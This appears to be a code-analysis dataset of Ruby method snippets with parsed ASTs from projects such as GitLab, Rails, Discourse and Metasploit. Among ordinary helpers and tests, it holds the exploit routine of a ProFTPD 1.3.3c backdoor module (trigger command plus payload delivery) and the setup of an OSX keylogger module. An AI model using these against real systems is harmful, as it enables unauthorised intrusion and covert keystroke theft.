{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/boards_helper.rb","start_line":90,"raw_source":"def multiple_boards_available?\n    current_board_parent.multiple_issue_boards_available?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"multiple_boards_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_board_parent\"]},\"multiple_issue_boards_available?\"]}]}","id":"0a26fa5e-6277-4299-916c-fccd3566e3fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/truncate_visible_filter.rb","start_line":50,"raw_source":"def handle_line_breaks(node)\n        return unless node.content.strip.lines.length > 1\n\n        node.content = \"#{node.content.lines.first.chomp}...\"\n        @truncated = true\n      end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_line_breaks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content\"]},\"strip\"]},\"lines\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content\"]},\"lines\"]},\"first\"]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@truncated\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"4928e242-83f4-483b-a9ab-21748b3ee694"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attributes/normalization.rb","start_line":167,"raw_source":"def serialize_cast_value(value)\n            ActiveModel::Type::SerializeCastValue.serialize(cast_type, value)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_cast_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"SerializeCastValue\"]},\"serialize\",{\"type\":\"send\",\"children\":[null,\"cast_type\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"9e1d855a-d094-46ba-bbf9-c56028ed6d74"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_activity_drafts.rb","start_line":60,"raw_source":"def click_bulk_actions\n        page.find(\"button\", text: \"Bulk actions\").click\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_bulk_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Bulk actions\"]}]}]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"ca966bae-1d75-459d-8fe6-f4b0e9c2ab1c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/concerns/user_primary_group_mixin.rb","start_line":40,"raw_source":"def flair_bg_color\n    object&.flair_group&.flair_bg_color\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"flair_bg_color\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"flair_group\"]},\"flair_bg_color\"]}]}","id":"ffadcc47-3ef5-4c95-9bc0-8b22e6b5917e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/background_transaction.rb","start_line":30,"raw_source":"def run\n        Thread.current[THREAD_KEY] = self\n\n        yield\n      ensure\n        Thread.current[THREAD_KEY] = nil\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"THREAD_KEY\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"THREAD_KEY\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"bae06de4-454f-4b2b-a4d6-59f4b8a09a6a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb","start_line":454,"raw_source":"def cmd_download_help\n            print_line 'Usage: download <remote_path> <local_path>'\n            print_line\n            print_line 'Download a file from the remote target.'\n            print @@download_opts.usage\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_download_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: download <remote_path> <local_path>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Download a file from the remote target.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@download_opts\"]},\"usage\"]}]}]}]}","id":"acf594c3-da5c-4249-befb-dc6a5f064642"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250629222107_change_work_item_custom_lifecycle_name_limit.rb","start_line":14,"raw_source":"def down\n    remove_text_limit :work_item_custom_lifecycles, :name, constraint_name: CONSTRAINT_NAME\n    add_text_limit :work_item_custom_lifecycles, :name, 255, constraint_name: CONSTRAINT_NAME\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycles\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycles\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"int\",\"children\":[255]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"ce830903-183a-46a5-b214-9a5023300273"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/capture/keylog_recorder.rb","start_line":24,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OSX Capture Userspace Keylogger',\n        'Description' => %q{\n          Logs all keyboard events except cmd-keys and GUI password input.\n\n          Keylogs are transferred between client/server in chunks\n          every SYNCWAIT seconds for reliability.\n\n          Works by calling the Carbon GetKeys() hook using the DL lib\n          in OSX's system Ruby. The Ruby code is executed in a shell\n          command using -e, so the payload never hits the disk.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'joev'],\n        'Platform' => [ 'osx'],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('DURATION',\n                   [ true, 'The duration in seconds.', 600 ]),\n        OptInt.new('SYNCWAIT',\n                   [ true, 'The time between transferring log chunks.', 10 ]),\n        OptPort.new('LOGPORT',\n                    [ false, 'Local port opened momentarily for log transfer', 22899 ])\n      ]\n    )\n  end","complexity_score":8.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OSX Capture Userspace Keylogger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Logs all keyboard events except cmd-keys and GUI password input.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Keylogs are transferred between client/server in chunks\\n\"]},{\"type\":\"str\",\"children\":[\"          every SYNCWAIT seconds for reliability.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Works by calling the Carbon GetKeys() hook using the DL lib\\n\"]},{\"type\":\"str\",\"children\":[\"          in OSX's system Ruby. The Ruby code is executed in a shell\\n\"]},{\"type\":\"str\",\"children\":[\"          command using -e, so the payload never hits the disk.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DURATION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The duration in seconds.\"]},{\"type\":\"int\",\"children\":[600]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SYNCWAIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The time between transferring log chunks.\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Local port opened momentarily for log transfer\"]},{\"type\":\"int\",\"children\":[22899]}]}]}]}]}]}]}","id":"b7f3df61-f39b-42c4-992e-a9f7a05893a2"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":208,"raw_source":"def test_route_key\n    assert_equal \"posts\", @model_name.route_key\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_route_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"route_key\"]}]}]}","id":"556d6e88-1788-4f92-aa60-e71550e8d715"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reviewable_action_builder.rb","start_line":239,"raw_source":"def perform_convert_to_pm(performed_by, _args)\n    # TODO (reviewable-refresh): Implement convert to PM logic\n    create_result(:success, :rejected, [created_by_id], false)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_convert_to_pm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[null,\"create_result\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"rejected\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_by_id\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"c93922b2-c950-4466-bda6-79a47474166e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":290,"raw_source":"def test_backtrace_with_serverengine_loglevel(data)\n      log_level, start = data\n      backtrace = [\"line 1\", \"line 2\", \"line 3\"]\n      dl_opts = {}\n      dl_opts[:log_level] = log_level\n      logdev = @log_device\n      logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n      log = Fluent::Log.new(logger)\n      log.trace_backtrace(backtrace)\n      log.debug_backtrace(backtrace)\n      log.info_backtrace(backtrace)\n      log.warn_backtrace(backtrace)\n      log.error_backtrace(backtrace)\n      log.fatal_backtrace(backtrace)\n      expected = [\n        \"  #{@timestamp_str} [trace]: line 1\\n\",\n        \"  #{@timestamp_str} [trace]: line 2\\n\",\n        \"  #{@timestamp_str} [trace]: line 3\\n\",\n        \"  #{@timestamp_str} [debug]: line 1\\n\",\n        \"  #{@timestamp_str} [debug]: line 2\\n\",\n        \"  #{@timestamp_str} [debug]: line 3\\n\",\n        \"  #{@timestamp_str} [info]: line 1\\n\",\n        \"  #{@timestamp_str} [info]: line 2\\n\",\n        \"  #{@timestamp_str} [info]: line 3\\n\",\n        \"  #{@timestamp_str} [warn]: line 1\\n\",\n        \"  #{@timestamp_str} [warn]: line 2\\n\",\n        \"  #{@timestamp_str} [warn]: line 3\\n\",\n        \"  #{@timestamp_str} [error]: line 1\\n\",\n        \"  #{@timestamp_str} [error]: line 2\\n\",\n        \"  #{@timestamp_str} [error]: line 3\\n\",\n        \"  #{@timestamp_str} [fatal]: line 1\\n\",\n        \"  #{@timestamp_str} [fatal]: line 2\\n\",\n        \"  #{@timestamp_str} [fatal]: line 3\\n\"\n      ][start..-1]\n      assert_equal(expected, log.out.logs)\n    end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_backtrace_with_serverengine_loglevel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_level\"]},{\"type\":\"lvasgn\",\"children\":[\"start\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"backtrace\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"line 1\"]},{\"type\":\"str\",\"children\":[\"line 2\"]},{\"type\":\"str\",\"children\":[\"line 3\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dl_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"lvar\",\"children\":[\"log_level\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"ivar\",\"children\":[\"@log_device\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"trace_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"debug_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"info_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"warn_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"error_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"fatal_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [debug]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [debug]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [debug]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [info]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [info]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [info]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [warn]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [warn]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [warn]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [error]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [error]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [error]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [fatal]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [fatal]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [fatal]: line 3\\n\"]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"out\"]},\"logs\"]}]}]}]}","id":"a919e2e1-363a-4917-b272-577b0a93841a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb","start_line":57,"raw_source":"def exploit\n    connect\n\n    print_status(\"Sending Backdoor Command\")\n    sock.put(\"HELP ACIDBITCHEZ\\r\\n\")\n\n    res = sock.get_once(-1, 10)\n\n    if (res and res =~ /502/)\n      print_error(\"Not backdoored\")\n    else\n      sock.put(\"nohup \" + payload.encoded + \" >/dev/null 2>&1\\n\")\n      handler\n    end\n\n    disconnect\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending Backdoor Command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"HELP ACIDBITCHEZ\\r\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"502\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not backdoored\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"nohup \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" >/dev/null 2>&1\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"08c62849-acf5-43cc-b9b8-bb6337604d40"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/to_param_test.rb","start_line":13,"raw_source":"def test_object\n    foo = Object.new\n    def foo.to_s; \"foo\" end\n    assert_equal \"foo\", foo.to_param\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foo\"]},\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foo\"]},\"to_param\"]}]}]}]}","id":"fe8b51e7-3e80-45d1-8e24-13c901412e9f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/socialcast/test/test_socialcast_api.rb","start_line":60,"raw_source":"def test_messages_next_page\n    messages = @socialcast.list_messages(page: 2)\n    expected = JSON.parse(MESSAGES_PG_2)[\"messages\"].sort { |m| m[\"id\"] }\n    assert_equal 20, messages.size\n    check_keys expected[0], messages[0]\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_messages_next_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@socialcast\"]},\"list_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"const\",\"children\":[null,\"MESSAGES_PG_2\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"messages\"]}]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"check_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}